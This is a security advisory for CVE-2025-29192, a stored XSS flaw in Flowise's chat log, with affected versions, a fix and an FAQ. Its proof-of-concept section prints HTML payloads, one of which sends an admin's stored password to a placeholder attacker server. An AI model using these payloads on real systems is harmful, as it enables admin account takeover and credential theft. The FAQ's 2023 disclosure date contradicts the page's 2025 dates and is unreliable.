CVE-2025-29192: XSS

Published Oct 3, 2025
·
Updated

Description In the chat log, tags like input and form are allowed. This makes a potential vulnerability where an attacker could inject malicious HTML into the log via prompts. When an admin views the log containing the malicious HTML, the attacker could steal the admin's credentials or sensitive information with stored Cross Site Scripting.

PoC html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:alert('XSS!!!');" /> </form> If the above HTML code is entered, a very large img gets injected into the log. When an admin clicks the generated img, it alerts ‘XSS!!!’. It means stored xss is able in the chatbot. html <form> <input type="image" src="/assets/account-3i3qpYzs.png" width="800" height="400" formaction="javascript:window.location.href='<YOURREQUESTBINSERVER>?passwd=' + encodeURIComponent(localStorage.getItem('password'));" /> </form> So when an admin clicks the img that generated by above html code, it sends a request, including credentials, to the attacker's IP. If attacker steal admin’s token, attacker can login as the admin in the apps.

Poc Video poc

Impact An attacker could hijack an admin account in published chatbot. This can allow attacker to view chat logs of other users and API keys.

Other sources

Flowise before 3.0.5 allows XSS via a FORM element and an INPUT element when an admin views the chat log.

NVD

Affected Software

3 affected componentsFixes available
Flowise Flowise<3.0.5
FlowiseAI Flowise<3.0.5
npm/flowise<3.0.5
3.0.5

Event History

Oct 3, 2025
Advisory Published
via GitHub·09:48 PM
Data Sourced
via GitHub·09:48 PM
DescriptionSeverityWeaknessAffected Software
Oct 6, 2025
CVE Published
via MITRE·12:00 AM
Data Sourced
via MITRE·12:00 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:15 AM
RemedyDescriptionSeverityWeaknessAffected Software
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Frequently Asked Questions

1

What is the severity of CVE-2025-29192?

CVE-2025-29192 is classified as a moderate severity vulnerability due to its potential for XSS exploitation.

2

How do I fix CVE-2025-29192?

To fix CVE-2025-29192, upgrade Flowise to version 3.0.5 or later.

3

What types of attacks are possible with CVE-2025-29192?

CVE-2025-29192 allows attackers to perform cross-site scripting (XSS) attacks when viewing the chat log as an admin.

4

Who is affected by CVE-2025-29192?

CVE-2025-29192 affects users of Flowise versions prior to 3.0.5.

5

When was CVE-2025-29192 disclosed?

CVE-2025-29192 was disclosed on October 12, 2023.

Contact

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